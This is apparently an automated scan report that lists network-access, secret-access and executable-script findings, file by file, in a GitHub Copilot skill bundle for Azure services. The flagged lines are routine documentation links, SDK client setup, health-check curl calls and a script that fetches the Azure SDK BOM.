  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/static-web-apps/deployment.md

  • Network accessline 16
    properties: {   repositoryUrl: 'https://github.com/owner/repo'
  • Network accessline 17
    repositoryUrl: 'https://github.com/owner/repo'
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/static-web-apps/routing.md

  • Network accessline 41
    "azureActiveDirectory": {         "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Network accessline 42
    "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",           "clientIdSettingName": "AAD_CLIENT_ID",
  • Network accessline 43
    "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Access to secretsline 45
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/storage/access.md

  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 92
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,
  • Network accessline 93
    `https://${accountName}.blob.core.windows.net`,

harness/github-copilot/skills/azure-pricing/SKILL.md

  • Network accessline 35
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 38
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 107
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 108
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 109
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 110
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 190
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 191
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 192
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/github-copilot/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/github-copilot/skills/azure-quotas/SKILL.md

  • Network accessline 46
    | **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/
  • Network accessline 47
    | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft.
  • Network accessline 48
    | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback |
  • Network accessline 53
    > **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall 
  • Network accessline 54
    > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits 
  • Network accessline 55
    > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do
  • Network accessline 237
    | REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte
  • Network accessline 238
    | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man
  • Network accessline 239
    | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 247
    **Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 248
    - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 262
    |----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv
  • Network accessline 263
    | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L
  • Network accessline 264
    | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) |
  • Network accessline 265
    | **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 266
    | **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) |
  • Network accessline 267
    | **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |

harness/github-copilot/skills/azure-quotas/references/commands.md

  • Network accessline 18
    > **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso
  • Network accessline 19
    > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-
  • Network accessline 20
    > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 31
    > - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 32
    > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona
  • Network accessline 33
    > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits
  • Network accessline 268
    **Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 269
    - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 295
    > **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma
  • Network accessline 296
    > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi
  • Network accessline 297
    > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 303
    | Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem
  • Network accessline 304
    |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic
  • Network accessline 305
    | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |

harness/github-copilot/skills/azure-quotas/scripts/check-quota.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-quotas/scripts/check-quota.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-reliability/references/configure-health-probes.md

  • Network accessline 27
    3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it
  • Network accessline 29
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/github-copilot/skills/azure-reliability/references/configure-multi-region.md

  • Network accessline 276
    output endpoint string = 'https://${endpoint.properties.hostName}'
  • Access to secretsline 441
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 448
    [Credential-related source omitted]
  • Access to secretsline 449
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Access to secretsline 457
    [Credential-related source omitted]
  • Access to secretsline 464
    [Credential-related source omitted]
  • Access to secretsline 467
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Network accessline 563
    # Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
  • Network accessline 564
    curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health

harness/github-copilot/skills/azure-reliability/references/health-probe-checks.md

  • Network accessline 68
    3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r
  • Network accessline 70
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/github-copilot/skills/azure-reliability/references/services/app-service/reliability.md

  • Network accessline 59
    # Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \   --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=
  • Network accessline 60
    az rest --method patch    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01"
  • Network accessline 61
    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \

harness/github-copilot/skills/azure-reliability/references/services/functions/reliability.md

  • Network accessline 197
    - [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)

harness/github-copilot/skills/azure-smart-city-iot-solution-builder/SKILL.md

  • Network accessline 21
    Before proposing architecture that involves edge computing, review Azure IoT Edge documentation: https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 145
    - [Azure IoT Edge documentation](https://learn.microsoft.com/azure/iot-edge/)

harness/github-copilot/skills/azure-static-web-apps/SKILL.md

  • Network accessline 22
    - `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall
  • Network accessline 24
    - Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`.
  • Network accessline 45
    {   "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 46
    "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 52
    "appBuildCommand": "npm run build",       "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"
  • Network accessline 53
    "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"     }
  • Network accessline 54
    "appDevserverUrl": "http://localhost:3000"
  • Network accessline 78
    | `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location,
  • Network accessline 79
    | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star
  • Network accessline 80
    | `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, 
  • Network accessline 126
    Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag
  • Network accessline 206
    ### Validation - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 207
    - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 208
    - API `http://localhost:4280/api/message`: pass | fail | not applicable
  • Network accessline 223
    - [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)

harness/github-copilot/skills/azure-storage/SKILL.md

  • Network accessline 89
    - Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview)
  • Network accessline 90
    - File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction)
  • Network accessline 91
    - Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)

harness/github-copilot/skills/azure-storage/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-storage/references/sdk-usage.md

  • Network accessline 36
    service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential())
  • Network accessline 47
    const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential());
  • Network accessline 58
    var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential());
  • Network accessline 70
    BlobServiceClient client = new BlobServiceClientBuilder()     .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 71
    .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 90
    func main() {     cred, _ := azidentity.NewDefaultAzureCredential(nil)     client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 92
    client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 104
    let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",
  • Network accessline 105
    let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",     "my-container",
  • Network accessline 106
    "https://ACCOUNT.blob.core.windows.net/",

harness/github-copilot/skills/azure-storage/references/sdk/azure-storage-blob-ts.md

  • Network accessline 12
    import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());

harness/github-copilot/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md

  • Network accessline 12
    import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());

harness/github-copilot/skills/azure-storage/references/sdk/azure-storage-queue-ts.md

  • Network accessline 12
    import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());

harness/github-copilot/skills/azure-upgrade/SKILL.md

  • Network accessline 79
    - [Automation Scripts](references/services/functions/automation.md) - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage
  • Network accessline 80
    - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil
  • Network accessline 81
    - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git

harness/github-copilot/skills/azure-upgrade/references/languages/java/INSTRUCTION.md

  • Network accessline 102
    - If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure
  • Network accessline 103
    E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`.   For Azure libraries in azure-sdk-bom, check https://raw.githubuse
  • Network accessline 104
    For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml.
  • Network accessline 115
    - [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide)
  • Network accessline 116
    - [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb)
  • Network accessline 117
    - [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh)
  • Network accessline 118
    - [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg)
  • Network accessline 119
    - [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md)
  • Network accessline 120
    - [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md)
  • Network accessline 121
    - [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md)
  • Network accessline 122
    - [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md)
  • Network accessline 123
    - [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets)
  • Network accessline 124
    - [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys)
  • Network accessline 125
    - [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert)
  • Network accessline 126
    - [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md)
  • Network accessline 127
    - [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md)
  • Network accessline 128
    - [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md)
  • Network accessline 129
    - [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md)
  • Network accessline 130
    - [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)

harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md

  • Network accessline 3
    Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is

harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md

  • Network accessline 3
    OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.

harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 25
    - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions))
  • Network accessline 84
    For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.

harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 25
    - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions))
  • Network accessline 85
    For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk

harness/github-copilot/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md

  • Network accessline 39
    If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom.
  • Network accessline 57
    > 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
  • Network accessline 58
    > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`

harness/github-copilot/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md

  • Network accessline 16
    Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess

harness/github-copilot/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md

  • Access to secretsline 61
    [Credential-related source omitted]

harness/github-copilot/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 44
    ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 45
    BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 46
    POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 80
    def _get_latest_bom_version() -> str:     try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 81
    try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:             pom_xml = response.read()
  • Network accessline 82
    with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 167
    except ET.ParseError:         return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 168
    return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}     for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns):
  • Network accessline 169
    ns = {"m": "http://maven.apache.org/POM/4.0.0"}

harness/github-copilot/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md

  • Network accessline 198
    - **Fluent API Changes**      - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth
  • Network accessline 199
    - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. -->
  • Network accessline 200
    - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.

harness/github-copilot/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md

  • Network accessline 111
    - **Fluent API Changes**     - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
  • Network accessline 112
    - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide     - **Files Changed**: ResourceProvisioner.jav
  • Network accessline 113
    - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide

harness/github-copilot/skills/azure-upgrade/references/services/functions/automation.md

  • Network accessline 4
    > All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to
  • Network accessline 6
    > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 317
    - [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops)
  • Network accessline 318
    - [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions)
  • Network accessline 357
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST")
  • Network accessline 374
    # Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
  • Network accessline 375
